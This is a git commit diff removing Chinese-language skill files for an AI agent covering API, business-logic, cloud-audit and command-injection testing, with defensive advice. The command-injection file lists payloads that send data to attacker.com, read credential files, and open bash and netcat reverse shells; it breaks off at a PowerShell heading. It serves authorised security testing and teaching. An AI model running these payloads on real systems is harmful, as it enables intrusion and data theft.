mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-08-01 00:27:35 +02:00
Delete skills directory
This commit is contained in:
@@ -1,7 +0,0 @@
|
||||
# Skills 目录(Agent Skills / Eino)
|
||||
|
||||
- 每个技能为**子目录**,根上必须有 **`SKILL.md`**(YAML front matter:`name`、`description` + Markdown 正文),见 [agentskills.io](https://agentskills.io/specification.md)。
|
||||
- **目录名须与 `name` 一致**。
|
||||
- **运行时加载**:在 **Eino DeepAgent(多代理)** 会话中由 ADK **`skill` 中间件**渐进披露(系统提示中列出各 skill 的 name/description,模型再调用 **`skill`** 工具拉取 `SKILL.md` 全文)。可选开启 **`multi_agent.eino_skills.filesystem_tools`**,使用与本机相同的 `read_file` / `execute` 等访问包内脚本与资源。
|
||||
- **Web 管理**:HTTP `/api/skills/*` 仍用于列表、编辑、上传包内文件(实现为 `internal/skillpackage`,非 MCP)。
|
||||
- **运行时**:多代理(DeepAgent)会话内由 ADK **`skill`** 工具渐进加载;单代理 MCP 循环不含 Skills,需开多代理或后续单代理 Eino 路径。
|
||||
@@ -1,287 +0,0 @@
|
||||
---
|
||||
name: api-security-testing
|
||||
description: API安全测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# API安全测试
|
||||
|
||||
## 概述
|
||||
|
||||
API安全测试是确保API接口安全性的重要环节。本技能提供API安全测试的方法、工具和最佳实践。
|
||||
|
||||
## 测试范围
|
||||
|
||||
### 1. 认证和授权
|
||||
|
||||
**测试项目:**
|
||||
- Token有效性验证
|
||||
- Token过期处理
|
||||
- 权限控制
|
||||
- 角色权限验证
|
||||
|
||||
### 2. 输入验证
|
||||
|
||||
**测试项目:**
|
||||
- 参数类型验证
|
||||
- 数据长度限制
|
||||
- 特殊字符处理
|
||||
- SQL注入防护
|
||||
- XSS防护
|
||||
|
||||
### 3. 业务逻辑
|
||||
|
||||
**测试项目:**
|
||||
- 工作流验证
|
||||
- 状态转换
|
||||
- 并发控制
|
||||
- 业务规则
|
||||
|
||||
### 4. 错误处理
|
||||
|
||||
**测试项目:**
|
||||
- 错误信息泄露
|
||||
- 堆栈跟踪
|
||||
- 敏感信息暴露
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. API发现
|
||||
|
||||
**识别API端点:**
|
||||
```bash
|
||||
# 使用目录扫描
|
||||
gobuster dir -u https://target.com -w api-wordlist.txt
|
||||
|
||||
# 使用Burp Suite被动扫描
|
||||
# 浏览应用,观察API调用
|
||||
|
||||
# 分析JavaScript文件
|
||||
# 查找API端点定义
|
||||
```
|
||||
|
||||
### 2. 认证测试
|
||||
|
||||
**Token测试:**
|
||||
```http
|
||||
# 测试无效Token
|
||||
GET /api/user
|
||||
Authorization: Bearer invalid_token
|
||||
|
||||
# 测试过期Token
|
||||
GET /api/user
|
||||
Authorization: Bearer expired_token
|
||||
|
||||
# 测试无Token
|
||||
GET /api/user
|
||||
```
|
||||
|
||||
**JWT测试:**
|
||||
```bash
|
||||
# 使用jwt_tool
|
||||
python jwt_tool.py <JWT_TOKEN>
|
||||
|
||||
# 测试算法混淆
|
||||
python jwt_tool.py <JWT_TOKEN> -X a
|
||||
|
||||
# 测试密钥暴力破解
|
||||
python jwt_tool.py <JWT_TOKEN> -C -d wordlist.txt
|
||||
```
|
||||
|
||||
### 3. 授权测试
|
||||
|
||||
**水平权限:**
|
||||
```http
|
||||
# 用户A访问用户B的资源
|
||||
GET /api/user/123
|
||||
Authorization: Bearer user_a_token
|
||||
|
||||
# 应该返回403
|
||||
```
|
||||
|
||||
**垂直权限:**
|
||||
```http
|
||||
# 普通用户访问管理员接口
|
||||
GET /api/admin/users
|
||||
Authorization: Bearer user_token
|
||||
|
||||
# 应该返回403
|
||||
```
|
||||
|
||||
### 4. 输入验证测试
|
||||
|
||||
**SQL注入:**
|
||||
```http
|
||||
POST /api/search
|
||||
{
|
||||
"query": "test' OR '1'='1"
|
||||
}
|
||||
```
|
||||
|
||||
**命令注入:**
|
||||
```http
|
||||
POST /api/execute
|
||||
{
|
||||
"command": "ping; id"
|
||||
}
|
||||
```
|
||||
|
||||
**XXE:**
|
||||
```http
|
||||
POST /api/parse
|
||||
Content-Type: application/xml
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
### 5. 速率限制测试
|
||||
|
||||
**测试速率限制:**
|
||||
```python
|
||||
import requests
|
||||
|
||||
for i in range(1000):
|
||||
response = requests.get('https://target.com/api/endpoint')
|
||||
print(f"Request {i}: {response.status_code}")
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Postman
|
||||
|
||||
**创建测试集合:**
|
||||
1. 导入API文档
|
||||
2. 设置认证
|
||||
3. 创建测试用例
|
||||
4. 运行自动化测试
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**API扫描:**
|
||||
1. 配置API端点
|
||||
2. 设置认证
|
||||
3. 运行主动扫描
|
||||
4. 分析结果
|
||||
|
||||
### OWASP ZAP
|
||||
|
||||
```bash
|
||||
# API扫描
|
||||
zap-cli quick-scan --self-contained \
|
||||
--start-options '-config api.disablekey=true' \
|
||||
http://target.com/api
|
||||
```
|
||||
|
||||
### REST-Attacker
|
||||
|
||||
```bash
|
||||
# 扫描OpenAPI规范
|
||||
rest-attacker scan openapi.yaml
|
||||
```
|
||||
|
||||
## 常见漏洞
|
||||
|
||||
### 1. 认证绕过
|
||||
|
||||
**Token验证缺陷:**
|
||||
- 弱Token生成
|
||||
- Token可预测
|
||||
- Token不验证签名
|
||||
|
||||
### 2. 权限提升
|
||||
|
||||
**IDOR:**
|
||||
- 直接对象引用
|
||||
- 未验证资源所有权
|
||||
|
||||
### 3. 信息泄露
|
||||
|
||||
**错误信息:**
|
||||
- 详细错误信息
|
||||
- 堆栈跟踪
|
||||
- 敏感数据
|
||||
|
||||
### 4. 注入漏洞
|
||||
|
||||
**常见注入:**
|
||||
- SQL注入
|
||||
- NoSQL注入
|
||||
- 命令注入
|
||||
- XXE
|
||||
|
||||
### 5. 业务逻辑
|
||||
|
||||
**逻辑缺陷:**
|
||||
- 价格操作
|
||||
- 数量限制绕过
|
||||
- 状态修改
|
||||
|
||||
## 测试清单
|
||||
|
||||
### 认证测试
|
||||
- [ ] Token有效性验证
|
||||
- [ ] Token过期处理
|
||||
- [ ] 弱Token检测
|
||||
- [ ] Token重放攻击
|
||||
|
||||
### 授权测试
|
||||
- [ ] 水平权限测试
|
||||
- [ ] 垂直权限测试
|
||||
- [ ] 角色权限验证
|
||||
- [ ] 资源访问控制
|
||||
|
||||
### 输入验证
|
||||
- [ ] SQL注入测试
|
||||
- [ ] XSS测试
|
||||
- [ ] 命令注入测试
|
||||
- [ ] XXE测试
|
||||
- [ ] 参数污染
|
||||
|
||||
### 业务逻辑
|
||||
- [ ] 工作流验证
|
||||
- [ ] 状态转换
|
||||
- [ ] 并发控制
|
||||
- [ ] 业务规则
|
||||
|
||||
### 错误处理
|
||||
- [ ] 错误信息泄露
|
||||
- [ ] 堆栈跟踪
|
||||
- [ ] 敏感信息暴露
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **认证**
|
||||
- 使用强Token
|
||||
- 实现Token刷新
|
||||
- 验证Token签名
|
||||
|
||||
2. **授权**
|
||||
- 基于角色的访问控制
|
||||
- 资源所有权验证
|
||||
- 最小权限原则
|
||||
|
||||
3. **输入验证**
|
||||
- 参数类型验证
|
||||
- 数据长度限制
|
||||
- 白名单验证
|
||||
|
||||
4. **错误处理**
|
||||
- 统一错误响应
|
||||
- 不泄露详细信息
|
||||
- 记录错误日志
|
||||
|
||||
5. **速率限制**
|
||||
- 实现API限流
|
||||
- 防止暴力破解
|
||||
- 监控异常请求
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对API造成影响
|
||||
- 注意不同API版本的差异
|
||||
- 测试时注意请求频率
|
||||
@@ -1,402 +0,0 @@
|
||||
---
|
||||
name: business-logic-testing
|
||||
description: 业务逻辑漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 业务逻辑漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
业务逻辑漏洞是应用程序在业务处理流程中的设计缺陷,可能导致未授权操作、数据篡改、资金损失等。本技能提供业务逻辑漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞类型
|
||||
|
||||
### 1. 工作流绕过
|
||||
|
||||
**跳过验证步骤:**
|
||||
- 直接访问最终步骤
|
||||
- 修改步骤顺序
|
||||
- 重复执行步骤
|
||||
|
||||
### 2. 价格操作
|
||||
|
||||
**负数价格:**
|
||||
- 输入负数金额
|
||||
- 导致账户余额增加
|
||||
|
||||
**价格篡改:**
|
||||
- 修改前端价格
|
||||
- 修改API请求中的价格
|
||||
|
||||
### 3. 数量限制绕过
|
||||
|
||||
**负数数量:**
|
||||
- 输入负数
|
||||
- 可能导致库存增加
|
||||
|
||||
**超出限制:**
|
||||
- 修改数量限制
|
||||
- 批量操作绕过
|
||||
|
||||
### 4. 时间竞争
|
||||
|
||||
**并发请求:**
|
||||
- 同时发送多个请求
|
||||
- 绕过单次限制
|
||||
|
||||
### 5. 状态操作
|
||||
|
||||
**状态回退:**
|
||||
- 将已完成订单改为待支付
|
||||
- 修改订单状态
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 工作流分析
|
||||
|
||||
**识别业务流程:**
|
||||
- 注册流程
|
||||
- 购买流程
|
||||
- 提现流程
|
||||
- 审核流程
|
||||
|
||||
**测试步骤跳过:**
|
||||
```
|
||||
正常流程: 步骤1 → 步骤2 → 步骤3
|
||||
测试: 直接访问步骤3
|
||||
测试: 步骤1 → 步骤3(跳过步骤2)
|
||||
```
|
||||
|
||||
### 2. 参数篡改
|
||||
|
||||
**修改关键参数:**
|
||||
```http
|
||||
POST /api/purchase
|
||||
{
|
||||
"product_id": 123,
|
||||
"quantity": 1,
|
||||
"price": 100.00 # 修改为 0.01
|
||||
}
|
||||
```
|
||||
|
||||
**负数测试:**
|
||||
```json
|
||||
{
|
||||
"quantity": -1,
|
||||
"price": -100.00
|
||||
}
|
||||
```
|
||||
|
||||
### 3. 并发测试
|
||||
|
||||
**同时发送请求:**
|
||||
```python
|
||||
import threading
|
||||
import requests
|
||||
|
||||
def purchase():
|
||||
requests.post('https://target.com/api/purchase',
|
||||
json={'product_id': 123, 'quantity': 1})
|
||||
|
||||
# 同时发送10个请求
|
||||
for i in range(10):
|
||||
threading.Thread(target=purchase).start()
|
||||
```
|
||||
|
||||
### 4. 状态修改
|
||||
|
||||
**修改订单状态:**
|
||||
```http
|
||||
PATCH /api/order/123
|
||||
{
|
||||
"status": "completed" # 修改为已完成
|
||||
}
|
||||
```
|
||||
|
||||
**回退状态:**
|
||||
```http
|
||||
PATCH /api/order/123
|
||||
{
|
||||
"status": "pending" # 从已完成回退到待支付
|
||||
}
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 价格操作
|
||||
|
||||
**负数价格:**
|
||||
```json
|
||||
{
|
||||
"product_id": 123,
|
||||
"price": -100.00,
|
||||
"quantity": 1
|
||||
}
|
||||
```
|
||||
|
||||
**修改前端价格:**
|
||||
```javascript
|
||||
// 前端代码
|
||||
const price = 100.00;
|
||||
|
||||
// 修改为
|
||||
const price = 0.01;
|
||||
```
|
||||
|
||||
**API价格修改:**
|
||||
```http
|
||||
POST /api/checkout
|
||||
{
|
||||
"items": [
|
||||
{
|
||||
"product_id": 123,
|
||||
"price": 0.01, # 原价100.00
|
||||
"quantity": 1
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### 数量限制绕过
|
||||
|
||||
**负数数量:**
|
||||
```json
|
||||
{
|
||||
"product_id": 123,
|
||||
"quantity": -10 # 可能导致库存增加
|
||||
}
|
||||
```
|
||||
|
||||
**超出限制:**
|
||||
```json
|
||||
{
|
||||
"product_id": 123,
|
||||
"quantity": 999999 # 超出单次购买限制
|
||||
}
|
||||
```
|
||||
|
||||
### 优惠券滥用
|
||||
|
||||
**重复使用:**
|
||||
```http
|
||||
POST /api/checkout
|
||||
{
|
||||
"coupon": "DISCOUNT50",
|
||||
"items": [...]
|
||||
}
|
||||
|
||||
# 重复使用同一优惠券
|
||||
```
|
||||
|
||||
**未激活优惠券:**
|
||||
```http
|
||||
POST /api/checkout
|
||||
{
|
||||
"coupon": "EXPIRED_COUPON", # 使用过期优惠券
|
||||
"items": [...]
|
||||
}
|
||||
```
|
||||
|
||||
### 提现漏洞
|
||||
|
||||
**负数提现:**
|
||||
```json
|
||||
{
|
||||
"amount": -1000.00 # 可能导致账户余额增加
|
||||
}
|
||||
```
|
||||
|
||||
**超出余额:**
|
||||
```json
|
||||
{
|
||||
"amount": 999999.00 # 超出账户余额
|
||||
}
|
||||
```
|
||||
|
||||
### 时间竞争
|
||||
|
||||
**并发购买:**
|
||||
```python
|
||||
import threading
|
||||
import requests
|
||||
|
||||
def buy():
|
||||
requests.post('https://target.com/api/purchase',
|
||||
json={'product_id': 123, 'quantity': 1})
|
||||
|
||||
# 限时抢购,并发请求
|
||||
for i in range(100):
|
||||
threading.Thread(target=buy).start()
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 前端验证绕过
|
||||
|
||||
**直接调用API:**
|
||||
- 绕过前端JavaScript验证
|
||||
- 直接发送API请求
|
||||
|
||||
**修改请求:**
|
||||
- 使用Burp Suite拦截
|
||||
- 修改参数后发送
|
||||
|
||||
### 状态码分析
|
||||
|
||||
**观察响应:**
|
||||
- 200 OK - 可能成功
|
||||
- 400 Bad Request - 参数错误
|
||||
- 403 Forbidden - 权限不足
|
||||
- 500 Internal Server Error - 服务器错误
|
||||
|
||||
### 错误信息利用
|
||||
|
||||
**从错误信息获取信息:**
|
||||
```
|
||||
错误: "余额不足,当前余额: 100.00"
|
||||
→ 可以获取账户余额信息
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**使用Repeater:**
|
||||
1. 拦截业务请求
|
||||
2. 修改关键参数
|
||||
3. 观察响应
|
||||
|
||||
**使用Intruder:**
|
||||
1. 标记参数
|
||||
2. 使用Payload列表
|
||||
3. 批量测试
|
||||
|
||||
### 自定义脚本
|
||||
|
||||
```python
|
||||
import requests
|
||||
import json
|
||||
|
||||
def test_price_manipulation():
|
||||
# 测试价格修改
|
||||
for price in [0.01, -100, 0, 999999]:
|
||||
data = {
|
||||
"product_id": 123,
|
||||
"price": price,
|
||||
"quantity": 1
|
||||
}
|
||||
response = requests.post('https://target.com/api/purchase',
|
||||
json=data)
|
||||
print(f"Price {price}: {response.status_code}")
|
||||
|
||||
test_price_manipulation()
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以绕过业务逻辑限制
|
||||
2. 验证可以执行未授权操作
|
||||
3. 评估影响(资金损失、数据篡改等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和业务流程
|
||||
- 可执行的未授权操作
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(服务端验证、业务规则检查等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **服务端验证**
|
||||
```python
|
||||
def process_purchase(product_id, quantity, price):
|
||||
# 从数据库获取真实价格
|
||||
real_price = db.get_product_price(product_id)
|
||||
|
||||
# 验证价格
|
||||
if price != real_price:
|
||||
raise ValueError("Price mismatch")
|
||||
|
||||
# 验证数量
|
||||
if quantity <= 0:
|
||||
raise ValueError("Invalid quantity")
|
||||
|
||||
# 处理购买
|
||||
process_order(product_id, quantity, real_price)
|
||||
```
|
||||
|
||||
2. **状态机验证**
|
||||
```python
|
||||
class OrderState:
|
||||
PENDING = "pending"
|
||||
PAID = "paid"
|
||||
SHIPPED = "shipped"
|
||||
COMPLETED = "completed"
|
||||
|
||||
TRANSITIONS = {
|
||||
PENDING: [PAID],
|
||||
PAID: [SHIPPED],
|
||||
SHIPPED: [COMPLETED]
|
||||
}
|
||||
|
||||
def can_transition(self, from_state, to_state):
|
||||
return to_state in self.TRANSITIONS.get(from_state, [])
|
||||
```
|
||||
|
||||
3. **并发控制**
|
||||
```python
|
||||
import threading
|
||||
|
||||
lock = threading.Lock()
|
||||
|
||||
def process_order(order_id):
|
||||
with lock:
|
||||
# 检查订单状态
|
||||
order = db.get_order(order_id)
|
||||
if order.status != 'pending':
|
||||
raise ValueError("Order already processed")
|
||||
|
||||
# 处理订单
|
||||
process(order)
|
||||
```
|
||||
|
||||
4. **业务规则验证**
|
||||
```python
|
||||
def validate_business_rules(order):
|
||||
# 验证数量限制
|
||||
if order.quantity > MAX_QUANTITY:
|
||||
raise ValueError("Quantity exceeds limit")
|
||||
|
||||
# 验证价格范围
|
||||
if order.price <= 0:
|
||||
raise ValueError("Invalid price")
|
||||
|
||||
# 验证库存
|
||||
if order.quantity > get_stock(order.product_id):
|
||||
raise ValueError("Insufficient stock")
|
||||
```
|
||||
|
||||
5. **审计日志**
|
||||
```python
|
||||
def log_business_action(user_id, action, details):
|
||||
log_entry = {
|
||||
"user_id": user_id,
|
||||
"action": action,
|
||||
"details": details,
|
||||
"timestamp": datetime.now()
|
||||
}
|
||||
db.log_action(log_entry)
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对业务造成实际影响
|
||||
- 注意不同业务流程的差异
|
||||
- 测试时注意数据一致性
|
||||
@@ -1,343 +0,0 @@
|
||||
---
|
||||
name: cloud-security-audit
|
||||
description: 云安全审计的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 云安全审计
|
||||
|
||||
## 概述
|
||||
|
||||
云安全审计是评估云环境安全性的重要环节。本技能提供云安全审计的方法、工具和最佳实践,涵盖AWS、Azure、GCP等主流云平台。
|
||||
|
||||
## 审计范围
|
||||
|
||||
### 1. 身份和访问管理
|
||||
|
||||
**检查项目:**
|
||||
- IAM策略配置
|
||||
- 用户权限
|
||||
- 角色权限
|
||||
- 访问密钥管理
|
||||
|
||||
### 2. 网络安全
|
||||
|
||||
**检查项目:**
|
||||
- 安全组配置
|
||||
- 网络ACL
|
||||
- VPC配置
|
||||
- 流量加密
|
||||
|
||||
### 3. 数据安全
|
||||
|
||||
**检查项目:**
|
||||
- 数据加密
|
||||
- 密钥管理
|
||||
- 备份策略
|
||||
- 数据分类
|
||||
|
||||
### 4. 合规性
|
||||
|
||||
**检查项目:**
|
||||
- 合规框架
|
||||
- 审计日志
|
||||
- 监控告警
|
||||
- 事件响应
|
||||
|
||||
## AWS安全审计
|
||||
|
||||
### IAM审计
|
||||
|
||||
**检查IAM策略:**
|
||||
```bash
|
||||
# 列出所有IAM用户
|
||||
aws iam list-users
|
||||
|
||||
# 列出所有IAM策略
|
||||
aws iam list-policies
|
||||
|
||||
# 检查用户权限
|
||||
aws iam list-user-policies --user-name username
|
||||
aws iam list-attached-user-policies --user-name username
|
||||
|
||||
# 检查角色权限
|
||||
aws iam list-role-policies --role-name rolename
|
||||
```
|
||||
|
||||
**常见问题:**
|
||||
- 过度权限
|
||||
- 未使用的访问密钥
|
||||
- 密码策略弱
|
||||
- MFA未启用
|
||||
|
||||
### S3安全审计
|
||||
|
||||
**检查S3存储桶:**
|
||||
```bash
|
||||
# 列出所有存储桶
|
||||
aws s3 ls
|
||||
|
||||
# 检查存储桶策略
|
||||
aws s3api get-bucket-policy --bucket bucketname
|
||||
|
||||
# 检查存储桶ACL
|
||||
aws s3api get-bucket-acl --bucket bucketname
|
||||
|
||||
# 检查存储桶加密
|
||||
aws s3api get-bucket-encryption --bucket bucketname
|
||||
```
|
||||
|
||||
**常见问题:**
|
||||
- 公开访问
|
||||
- 未加密
|
||||
- 版本控制未启用
|
||||
- 日志记录未启用
|
||||
|
||||
### 安全组审计
|
||||
|
||||
**检查安全组:**
|
||||
```bash
|
||||
# 列出所有安全组
|
||||
aws ec2 describe-security-groups
|
||||
|
||||
# 检查开放端口
|
||||
aws ec2 describe-security-groups --group-ids sg-xxx
|
||||
```
|
||||
|
||||
**常见问题:**
|
||||
- 0.0.0.0/0开放
|
||||
- 不必要的端口开放
|
||||
- 规则过于宽松
|
||||
|
||||
### CloudTrail审计
|
||||
|
||||
**检查审计日志:**
|
||||
```bash
|
||||
# 列出所有跟踪
|
||||
aws cloudtrail describe-trails
|
||||
|
||||
# 检查日志文件完整性
|
||||
aws cloudtrail get-trail-status --name trailname
|
||||
```
|
||||
|
||||
## Azure安全审计
|
||||
|
||||
### 订阅和资源组
|
||||
|
||||
**检查订阅:**
|
||||
```bash
|
||||
# 列出所有订阅
|
||||
az account list
|
||||
|
||||
# 检查资源组
|
||||
az group list
|
||||
```
|
||||
|
||||
### 网络安全组
|
||||
|
||||
**检查NSG:**
|
||||
```bash
|
||||
# 列出所有NSG
|
||||
az network nsg list
|
||||
|
||||
# 检查NSG规则
|
||||
az network nsg rule list --nsg-name nsgname --resource-group rgname
|
||||
```
|
||||
|
||||
### 存储账户
|
||||
|
||||
**检查存储账户:**
|
||||
```bash
|
||||
# 列出所有存储账户
|
||||
az storage account list
|
||||
|
||||
# 检查访问策略
|
||||
az storage account show --name accountname --resource-group rgname
|
||||
```
|
||||
|
||||
## GCP安全审计
|
||||
|
||||
### 项目和组织
|
||||
|
||||
**检查项目:**
|
||||
```bash
|
||||
# 列出所有项目
|
||||
gcloud projects list
|
||||
|
||||
# 检查IAM策略
|
||||
gcloud projects get-iam-policy project-id
|
||||
```
|
||||
|
||||
### 计算引擎
|
||||
|
||||
**检查实例:**
|
||||
```bash
|
||||
# 列出所有实例
|
||||
gcloud compute instances list
|
||||
|
||||
# 检查防火墙规则
|
||||
gcloud compute firewall-rules list
|
||||
```
|
||||
|
||||
### 存储
|
||||
|
||||
**检查存储桶:**
|
||||
```bash
|
||||
# 列出所有存储桶
|
||||
gsutil ls
|
||||
|
||||
# 检查存储桶权限
|
||||
gsutil iam get gs://bucketname
|
||||
```
|
||||
|
||||
## 自动化工具
|
||||
|
||||
### Scout Suite
|
||||
|
||||
```bash
|
||||
# AWS审计
|
||||
scout aws
|
||||
|
||||
# Azure审计
|
||||
scout azure
|
||||
|
||||
# GCP审计
|
||||
scout gcp
|
||||
```
|
||||
|
||||
### Prowler
|
||||
|
||||
```bash
|
||||
# AWS安全审计
|
||||
prowler -c check11,check12,check13
|
||||
|
||||
# 完整审计
|
||||
prowler
|
||||
```
|
||||
|
||||
### CloudSploit
|
||||
|
||||
```bash
|
||||
# 扫描AWS账户
|
||||
cloudsploit scan aws
|
||||
|
||||
# 扫描Azure订阅
|
||||
cloudsploit scan azure
|
||||
```
|
||||
|
||||
### Pacu
|
||||
|
||||
```bash
|
||||
# AWS渗透测试框架
|
||||
pacu
|
||||
```
|
||||
|
||||
## 审计清单
|
||||
|
||||
### IAM安全
|
||||
- [ ] 检查用户权限
|
||||
- [ ] 检查角色权限
|
||||
- [ ] 检查访问密钥
|
||||
- [ ] 检查密码策略
|
||||
- [ ] 检查MFA启用情况
|
||||
|
||||
### 网络安全
|
||||
- [ ] 检查安全组/NSG规则
|
||||
- [ ] 检查VPC配置
|
||||
- [ ] 检查网络ACL
|
||||
- [ ] 检查流量加密
|
||||
|
||||
### 数据安全
|
||||
- [ ] 检查数据加密
|
||||
- [ ] 检查密钥管理
|
||||
- [ ] 检查备份策略
|
||||
- [ ] 检查数据分类
|
||||
|
||||
### 合规性
|
||||
- [ ] 检查审计日志
|
||||
- [ ] 检查监控告警
|
||||
- [ ] 检查事件响应
|
||||
- [ ] 检查合规框架
|
||||
|
||||
## 常见安全问题
|
||||
|
||||
### 1. 过度权限
|
||||
|
||||
**问题:**
|
||||
- IAM策略过于宽松
|
||||
- 用户拥有管理员权限
|
||||
- 角色权限过大
|
||||
|
||||
**修复:**
|
||||
- 最小权限原则
|
||||
- 定期审查权限
|
||||
- 使用IAM策略模拟
|
||||
|
||||
### 2. 公开资源
|
||||
|
||||
**问题:**
|
||||
- S3存储桶公开
|
||||
- 安全组开放0.0.0.0/0
|
||||
- 数据库公开访问
|
||||
|
||||
**修复:**
|
||||
- 限制访问范围
|
||||
- 使用私有网络
|
||||
- 启用访问控制
|
||||
|
||||
### 3. 未加密数据
|
||||
|
||||
**问题:**
|
||||
- 存储未加密
|
||||
- 传输未加密
|
||||
- 密钥管理不当
|
||||
|
||||
**修复:**
|
||||
- 启用加密
|
||||
- 使用TLS/SSL
|
||||
- 使用密钥管理服务
|
||||
|
||||
### 4. 日志缺失
|
||||
|
||||
**问题:**
|
||||
- 未启用审计日志
|
||||
- 日志未保留
|
||||
- 日志未监控
|
||||
|
||||
**修复:**
|
||||
- 启用CloudTrail/Azure Monitor
|
||||
- 设置日志保留策略
|
||||
- 配置监控告警
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 最小权限
|
||||
|
||||
- 只授予必要权限
|
||||
- 定期审查权限
|
||||
- 使用IAM策略模拟
|
||||
|
||||
### 2. 多层防护
|
||||
|
||||
- 网络层防护
|
||||
- 应用层防护
|
||||
- 数据层防护
|
||||
|
||||
### 3. 监控和告警
|
||||
|
||||
- 启用审计日志
|
||||
- 配置监控告警
|
||||
- 建立事件响应流程
|
||||
|
||||
### 4. 合规性
|
||||
|
||||
- 遵循合规框架
|
||||
- 定期安全审计
|
||||
- 文档化安全策略
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权环境中进行审计
|
||||
- 避免对生产环境造成影响
|
||||
- 注意不同云平台的差异
|
||||
- 定期进行安全审计
|
||||
@@ -1,302 +0,0 @@
|
||||
---
|
||||
name: command-injection-testing
|
||||
description: 命令注入漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 命令注入漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
命令注入是一种通过应用程序执行系统命令的漏洞。当应用程序将用户输入直接传递给系统命令时,攻击者可以执行任意命令。本技能提供命令注入的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序调用系统命令时,未对用户输入进行充分验证和过滤,导致攻击者可以注入额外的命令。
|
||||
|
||||
**危险代码示例:**
|
||||
```php
|
||||
// PHP
|
||||
system("ping " . $_GET['ip']);
|
||||
|
||||
// Python
|
||||
os.system("ping " + user_input)
|
||||
|
||||
// Node.js
|
||||
child_process.exec("ping " + user_input)
|
||||
```
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别命令执行点
|
||||
|
||||
**常见功能:**
|
||||
- Ping功能
|
||||
- DNS查询
|
||||
- 文件操作
|
||||
- 系统信息
|
||||
- 日志查看
|
||||
- 备份恢复
|
||||
|
||||
### 2. 基础检测
|
||||
|
||||
**测试命令分隔符:**
|
||||
```
|
||||
; # 命令分隔符(Linux/Windows)
|
||||
& # 后台执行(Linux/Windows)
|
||||
| # 管道符(Linux/Windows)
|
||||
&& # 逻辑与(Linux/Windows)
|
||||
|| # 逻辑或(Linux/Windows)
|
||||
` # 命令替换(Linux)
|
||||
$() # 命令替换(Linux)
|
||||
```
|
||||
|
||||
**测试Payload:**
|
||||
```
|
||||
127.0.0.1; id
|
||||
127.0.0.1 && whoami
|
||||
127.0.0.1 | cat /etc/passwd
|
||||
127.0.0.1 `whoami`
|
||||
127.0.0.1 $(whoami)
|
||||
```
|
||||
|
||||
### 3. 盲命令注入
|
||||
|
||||
**时间延迟检测:**
|
||||
```
|
||||
127.0.0.1; sleep 5
|
||||
127.0.0.1 && sleep 5
|
||||
127.0.0.1 | sleep 5
|
||||
```
|
||||
|
||||
**外带数据:**
|
||||
```
|
||||
127.0.0.1; curl http://attacker.com/?$(whoami)
|
||||
127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd)
|
||||
```
|
||||
|
||||
**DNS外带:**
|
||||
```
|
||||
127.0.0.1; nslookup $(whoami).attacker.com
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 基础命令执行
|
||||
|
||||
**Linux:**
|
||||
```
|
||||
; id
|
||||
; whoami
|
||||
; uname -a
|
||||
; cat /etc/passwd
|
||||
; ls -la
|
||||
```
|
||||
|
||||
**Windows:**
|
||||
```
|
||||
& whoami
|
||||
& ipconfig
|
||||
& type C:\Windows\System32\drivers\etc\hosts
|
||||
& dir
|
||||
```
|
||||
|
||||
### 文件操作
|
||||
|
||||
**读取文件:**
|
||||
```
|
||||
; cat /etc/passwd
|
||||
; type C:\Windows\System32\config\sam
|
||||
; head -n 20 /var/log/apache2/access.log
|
||||
```
|
||||
|
||||
**写入文件:**
|
||||
```
|
||||
; echo "<?php phpinfo(); ?>" > /tmp/shell.php
|
||||
; echo "test" > C:\temp\test.txt
|
||||
```
|
||||
|
||||
### 反弹Shell
|
||||
|
||||
**Bash:**
|
||||
```
|
||||
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
|
||||
```
|
||||
|
||||
**Netcat:**
|
||||
```
|
||||
; nc -e /bin/bash attacker.com 4444
|
||||
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
|
||||
```
|
||||
|
||||
**PowerShell:**
|
||||
```
|
||||
